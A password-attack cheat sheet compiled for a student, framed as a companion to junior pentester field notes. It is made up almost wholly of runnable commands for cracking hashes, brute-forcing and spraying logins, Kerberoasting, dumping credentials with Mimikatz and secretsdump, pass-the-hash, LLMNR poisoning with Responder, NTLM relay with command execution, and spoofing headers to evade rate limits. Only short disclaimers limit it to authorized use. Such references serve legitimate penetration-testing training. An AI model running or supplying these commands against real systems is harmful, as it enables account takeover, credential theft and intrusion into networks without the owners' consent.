

QUICK REFERENCE

Password Attack Tools Cheat Sheet

Basic → Advanced command reference, companion to the Credential Access field notes

BASIC

INTERMEDIATE

ADVANCED

EXPERT / AD

📖 Compiled for: Goraya — BS Software Engineering, GCUF

📁 Covers: recon, wordlists, offline cracking, online attacks, Kerberos/AD, poisoning & relay, post-exploitation, infra recon

⚠ For authorized labs, CTFs, and signed engagements only. Command syntax may vary slightly by tool version — always check `--help` on your build.

1. Recon & Hash Identification

BASIC

1.1 Identify a service before attacking it

Command	Purpose
<code>nmap -sV -p- target.com</code>	Find open ports/services (SSH, RDP, SMB, HTTP login) worth targeting
<code>nmap --script smb-os-discovery target.com</code>	Confirm Windows/SMB version before AD-style attacks
<code>whatweb target.com</code>	Fingerprint the web app/CMS behind a login form
<code>curl -I https://target.com/login</code>	Quick header check — server, cookies, WAF banner

1.2 Identify an unknown hash

Command	Purpose
<code>hashid hash.txt</code>	Regex-based guess of hash algorithm
<code>hash-identifier</code>	Interactive alternative to hashid
<code>hashcat --identify hash.txt</code>	Hashcat's own identifier — most reliable, gives exact <code>-m</code> mode
<code>name-that-hash -f hash.txt</code>	Modern alternative, ranks likely formats with confidence

1.3 Common Hashcat mode reference

Mode	Algorithm	Typical source
0	MD5	Legacy web apps, CTFs
100	SHA1	Legacy web apps
1000	NTLM	Windows SAM / dumped local hashes
1800	sha512crypt	Linux <code>/etc/shadow</code>
3200	bcrypt	Modern web apps
5600	NTLMv2 (NetNTLMv2)	Responder captures
13100	Kerberos TGS (Kerberoast)	GetUserSPNs.py / Rubeus
18200	Kerberos AS-REP	GetNPUsers.py
22000	WPA-PBKDF2 (WPA2 handshake)	Wireless captures (bonus)

2. Wordlists & Candidate Generation

BASIC → INTERMEDIATE

2.1 Stock wordlists

Resource	Path / command	Tool	Command
rockyou	<code>/usr/share/wordlists/rockyou.txt</code>	CeWL	<code>cewl url -d 2 -m 5 -w out.txt</code>
SecLists	<code>/usr/share/seclists/</code>	Crunch	<code>crunch 8 8 -t Comp@ny%\$\$\$ -o out.txt</code>
Unzip rockyou if gzipped	<code>gunzip rockyou.txt.gz</code>	Username permutations	<code>username-anarchy "John Smith"</code>

2.2 Custom generation

2.3 Rule-based mutation

<code>hashcat -m 0 -a 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule</code>
<code>hashcat -m 0 -a 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule # deeper, slower</code>
<code>john --wordlist=rockyou.txt --rules=best64 hash.txt # john equivalent</code>

2.4 Merge / clean wordlists

<code>cat list1.txt list2.txt sort -u > merged.txt # dedupe</code>
<code>hashcat --stdout rockyou.txt -r best64.rule > mutated.txt # pre-generate mutated list</code>

3.1 Hashcat — full flag quick reference

Flag	Meaning
<code>-m</code>	Hash mode/type (see section 1.3)
<code>-a 0</code>	Dictionary attack
<code>-a 1</code>	Combinator attack (word+word)
<code>-a 3</code>	Brute-force / mask attack
<code>-a 6</code>	Hybrid: wordlist + mask suffix
<code>-a 7</code>	Hybrid: mask prefix + wordlist
<code>-r file.rule</code>	Apply mutation rules to candidates
<code>--show</code>	Show already-cracked results without re-running
<code>-o out.txt</code>	Write cracked hash:password pairs to file
<code>--force</code>	Ignore warnings (e.g. no GPU detected — use cautiously)
<code>-w 3</code>	Workload profile (1=light ... 4=insane, for GPU load)
<code>--status --status-timer=10</code>	Live progress updates every 10s

```
# Dictionary + rules (default go-to)
hashcat -m 0 -a 0 hash.txt rockyou.txt -r best64.rule

# Mask attack — known pattern: Capital + 5 lower + 2 digits + symbol
hashcat -m 0 -a 3 hash.txt ?u?l?l?l?l?d?d?s

# Hybrid — wordlist word + 4 brute-forced digits
hashcat -m 0 -a 6 hash.txt rockyou.txt ?d?d?d?d

# Resume an interrupted session
hashcat -m 0 -a 0 hash.txt rockyou.txt --session mysess
hashcat --session mysess --restore
```

3.2 Mask character sets

Placeholder	Charset
<code>?l</code>	a-z
<code>?u</code>	A-Z
<code>?d</code>	0-9
<code>?s</code>	Symbols (!@#\$%...)
<code>?a</code>	All of the above combined

3.3 John the Ripper

```
unshadow passwd.txt shadow.txt > combined.txt      # merge for /etc/shadow cracking
john combined.txt --wordlist=rockyou.txt
john --show combined.txt
john --format=nt hash.txt --wordlist=rockyou.txt    # force NTLM format

zip2john protected.zip > zip.hash                  # extract crackable hash from file types
rar2john protected.rar > rar.hash
ssh2john id_rsa > ssh.hash
office2john doc.docx > office.hash
pdf2john.py file.pdf > pdf.hash
```

WORKFLOW TIP

Always run `--show` (Hashcat) or `--show` (John) after a session — both tools cache cracked results and won't reprint them by default once matched.

4. Online Attack Tools

INTERMEDIATE

4.1 Hydra — generic protocol brute forcer

```
hydra -l admin -P rockyou.txt ssh://target.com
hydra -L users.txt -P rockyou.txt ftp://target.com
hydra -l admin -P rockyou.txt target.com http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
hydra -C userpass.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=failed" # stuffing
hydra -t 1 -W 5 -l admin -P rockyou.txt target.com https-post-form "..." # throttled/stealthy
```

4.2 Medusa — alternative brute forcer

```
medusa -h target.com -u admin -P rockyou.txt -M ssh
medusa -h target.com -U users.txt -p 'Summer2024!' -M rdp
```

4.3 NetExec (formerly CrackMapExec) — AD/SMB swiss army knife

```
netexec smb 10.10.10.0/24 -u users.txt -p 'Summer2024!' --continue-on-success # spray
netexec smb target -u admin -p Password1 --shares # enumerate shares w/ valid creds
netexec smb target -u admin -p Password1 -x "whoami" # execute command
netexec ldap target -u user -p pass --users # dump AD users via LDAP
```

4.4 Kerbrute — quiet Kerberos-based enumeration/spraying

```
kerbrute userenum -d corp.local users.txt # valid username enumeration
kerbrute passwordspray -d corp.local users.txt 'Welcome2026!'
kerbrute bruteuser -d corp.local passwords.txt jdoe # single user, many passwords
```

LOCKOUT DISCIPLINE

Always check the account lockout threshold before any of the above. Spray 1 password across ALL users, wait longer than the lockout window, then try the next password.

5.1 Impacket suite (from Linux)

Script	Purpose
<code>GetUserSPNs.py</code>	Enumerate SPNs + request TGS tickets (Kerberoasting)
<code>GetNPUsers.py</code>	AS-REP roast accounts with preauth disabled
<code>secretsdump.py</code>	Dump SAM/LSA/NTDS hashes from a target with valid creds
<code>psexec.py</code> / <code>wmiexec.py</code>	Remote command execution using creds or hashes
<code>ntlmrelayx.py</code>	Relay captured NTLM authentication (see section 6)
<code>lookupsid.py</code>	Enumerate domain users/SIDs via RID brute force

```

GetUserSPNs.py corp.local/juser:Password1 -dc-ip 10.10.10.5 -request -outputfile tgs.txt
hashcat -m 13100 -a 0 tgs.txt rockyou.txt -r best64.rule

GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.5 -outputfile asrep.txt
hashcat -m 18200 -a 0 asrep.txt rockyou.txt

secretsdump.py corp.local/admin:Password1@10.10.10.5      # dump NTDS.dit remotely
wmiexec.py corp.local/admin:Password1@10.10.10.5         # pseudo-shell via WMI
psexec.py -hashes :NTLMHASH corp.local/admin@10.10.10.5  # pass-the-hash

```

5.2 Rubeus (from a compromised Windows host)

```

Rubeus.exe kerberoast /outfile:tgs.txt
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
Rubeus.exe tgtdeleg          # request a delegated TGT
Rubeus.exe ptt /ticket:base64ticket          # pass-the-ticket

```

5.3 Mimikatz (post-exploitation, Windows)

```

privilege::debug
sekurlsa::logonpasswords      # dump creds/hashes from memory
lsadump::sam                  # dump local SAM hashes
sekurlsa::tickets /export     # export Kerberos tickets from memory

```

5.4 BloodHound — attack path mapping

```

# Collection (on a domain-joined or authenticated host)
bloodhound-python -d corp.local -u juser -p Password1 -ns 10.10.10.5 -c all

# Then load the generated JSON into the BloodHound GUI to query:
#   "Shortest path to Domain Admins" / "Kerberoastable users" / "AS-REP roastable users"

```

6. LAN Poisoning & NTLM Relay

ADVANCED

6.1 Responder

```
sudo responder -I eth0 -A          # analyze-only, no active poisoning — recon first
sudo responder -I eth0 -wrf        # -w WPAD -r NBT-NS -f fingerprint OS
sudo responder -I eth0 --disable-smb --disable-http # prep for relay instead of capture

# Crack captured NTLMv2 (found in Responder's logs/*.txt)
hashcat -m 5600 -a 0 captured.txt rockyou.txt -r best64.rule
```

6.2 ntlmrelayx (Impacket) — relay instead of crack

```
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami" # execute command on relay success
ntlmrelayx.py -t ldap://10.10.10.5 --escalate-user juser # relay to LDAP, escalate privileges
```

6.3 Inveigh — Windows-native Responder alternative

```
Invoke-Inveigh -ConsoleOutput Y -FileOutput Y # PowerShell-based LLMNR/NBNS spoofer
```

SCOPE DISCIPLINE

Poisoning tools answer broadcast traffic for the entire local segment — never run these outside an isolated lab or an explicitly scoped internal engagement window.

7. Using Recovered Credentials

ADVANCED

```
evil-winrm -i 10.10.10.5 -u admin -p Password1 # interactive shell over WinRM
evil-winrm -i 10.10.10.5 -u admin -H NTLMHASH  # pass-the-hash over WinRM
xfreerdp /u:admin /p:Password1 /v:10.10.10.5   # RDP with recovered creds
crackmapexec smb 10.10.10.0/24 -u admin -H NTLMHASH --local-auth # validate hash across subnet
```

8. Load Balancer / WAF Recon

INTERMEDIATE

```
wafw00f https://target.com # fingerprint the WAF/CDN
whatwaf -u https://target.com # alternative WAF fingerprinter
curl -s -I https://target.com # check server/CDN headers manually
curl -s -H "X-Forwarded-For: 1.2.3.4" https://target.com/login -d "user=admin&pass=test1"
# test whether backend trusts a spoofed client IP for rate-limiting
```

Signal	What it tells you
429 Too Many Requests	WAF/app-level rate limiter engaged — distinct from wrong-password response
403 Forbidden mid-spray	WAF blocked the request pattern/IP, not a credential result
Inconsistent lockout across attempts	Possible sticky-session / per-node counter — worth deeper testing

9. Common End-to-End One-Liners

ALL LEVELS

```
# Full offline crack from scratch
echo -n "trinity" | md5sum > /dev/null; hashcat -m 0 -a 0 -o cracked.txt hash.txt rockyou.txt -r best64.rule

# Kerberoast end-to-end
GetUserSPNs.py corp.local/juser:Pass1 -dc-ip 10.10.10.5 -request -outputfile tgs.txt && \
hashcat -m 13100 -a 0 tgs.txt rockyou.txt -r best64.rule

# Responder capture -> crack
sudo responder -I eth0 -wrf # then, once captured:
hashcat -m 5600 -a 0 Responder/logs/*.txt rockyou.txt -r best64.rule
```

Companion cheat sheet to "Password Attacks & Credential Access — Junior Pentester Field Notes". Authorized use only.